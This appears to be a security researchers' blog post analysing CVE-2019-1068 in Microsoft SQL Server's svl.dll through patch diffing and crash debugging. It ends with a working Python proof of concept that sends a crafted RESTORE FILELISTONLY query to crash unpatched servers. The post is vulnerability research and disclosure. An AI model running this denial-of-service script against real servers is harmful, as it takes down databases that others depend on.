Root cause analysis and PoC for a Microsoft SQL Server Stack Overflow Vulnerability by reversing “svl.dll”.

1. Introduction

We would like to share one of our vulnerability analysis works in this blog post which covers a silently patched stack based memory corruption vulnerability (CVE-2019-1068) in svl.dll, which can be used for a Denial of Service and a possible Remote Code Execution. This blog post is also shared on blogs of Ataberk and Fatih.

This issue affects the following versions of Microsoft SQL Server:

  • Microsoft SQL Server 2014
  • Microsoft SQL Server 2016
  • Microsoft SQL Server 2017

It was patched on 9 July 2019. More information about this issue can be found here.

This blog post describes the root cause analysis and includes the Proof of Concept script.

2. Details of CVE-2019-1068

In the beginning, we searched for the undisclosed memory corruption vulnerabilities of Microsoft SQL Server from MSRC’s web portal. As seen on the screenshot below, CVSS v3.0 score of the vulnerability was calculated as 8.8 (High) on NVD of NIST.

1

After a short discussion, we jumped into patch analysis of the vulnerability, we started with the description page of the vulnerability.

The summary of the affected versions is listed below.

2

Executive Summary

A remote code execution vulnerability exists in Microsoft SQL Server when it incorrectly handles processing of internal functions. An attacker who successfully exploited this vulnerability could execute code in the context of the SQL Server Database Engine service account. To exploit the vulnerability, an authenticated attacker would need to submit a specially crafted query to an affected SQL server. The security update addresses the vulnerability by modifying how the Microsoft SQL Server Database Engine handles the processing of functions.

The executive summary tells that an authenticated attacker would need to run a crafted query. By considering this summary, our work focused on SQL Server’s query handler engine.

3. Patch Analysis

By comparing the difference across all of the files in Cumulative Update 14 and Cumulative Update 15 we discovered the patched DLL.

It’s possible to see that only a few functions of “svl.dll” were patched:

  • SvlPathUtilIsCrossPlatform(ushort const * const)
  • SvlPathUtilHasDriveLetter(ushort const * const)
  • SvlPathHandlerT<UriPathTraits>::ValidatePath(ushort const * const)
  • SvlPathHandlerT<XPlatPathTraits>::ValidatePath(ushort const * const)

This can be seen on the screenshot below:

3

The patched version contains the following function:

  • SvlPathUtilHasDriveLetter(ushort const * const)

When we look into the difference between two updated versions, it’s possible to see one of these functions processes a user-generated string even if it is not in a valid path format.

4

As seen on the screenshot above, the vulnerable version of the function has fewer lines of code.

Both versions of the “SvlPathUtilHasDriveLetter” use the iswalpha function to check if the first character of the user-controlled input string is between A and Z. Additionally they both check if the second character of the string equals to “:” character or not.

The improvement in the updated code block adds an extra check on the third character of the input string. It checks if the third character is one of “\” or “/” characters. Function returns “1” and the program continues properly if all conditions meet the requirements.

4. Triggering the Bug

To trigger the bug, all we needed was to create a crafted SQL query which includes a path value that triggers the vulnerable function in CU14. We looked for a way of doing it on Microsoft’s online documentations as seen on the screenshot below.

6

After several attempts, we were able to trigger the vulnerability by using the following command on the screenshot. Whenever this SQL Query is processed by SQL Server, it crashes.

7

5. Crash Analysis

The dynamic analysis process was started by attaching the SQL server to WinDBG. During the analysis, it was observed that none of the user-controlled inputs were written in any part of the memory.

As seen on the screenshot below which shows the call stack analysis step, “svl!PositionT<Win32PathTraits>::SetBuffer” is called by the vulnerable DLL then the program flow continues with the “svl!SvlPathHandlerT<Win32PathTraits>::NormalizePath” function.

We discovered that “svl!SvlPathHandlerT<Win32PathTraits>::NormalizePath” function interacts with “svl!SvlPathUtilHasDriveLetter” function which doesn’t have a proper input validation against malformed “path” strings.

Eventually, this corruption leads to an infinite recursive call of the “sqlmin!CheckFileStreamReserved” function therefore stack exhaustion occurs.

8

9

6. Conclusion

According to MSRC’s web portal, this vulnerability seems to lead to an RCE impact. We tried to achieve this impact by using some publicly known methods. Unfortunately, it seems to be leading to a stack exhaustion DoS vulnerability.

7. PoC - Exploit (Denial of Service)

#!/usr/bin/env python

__DATE__ = '05.02.2021'
__VERSION__ = 0.1

import pypyodbc as pyodbc
import sys
import argparse

parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target-host', help="Target Host", action="store", required=True)
parser.add_argument('-u', '--user', help="SQL Server Username", action="store", required=True)
parser.add_argument('-p', '--password' , help="SQL Server Password", action="store", required=True)
args = parser.parse_args()

connection_string = 'Driver={SQL Server};Server=' + args.target_host + ';' + ';UID=' + args.user + ';PWD=' + args.password + ';'
conn = pyodbc.connect(connection_string)
cursor = conn.cursor()

try:
    cursor.execute("RESTORE FILELISTONLY FROM DISK='C:AAA';")
except pyodbc.DatabaseError as e:
    print("Crashed.")
    exit(0)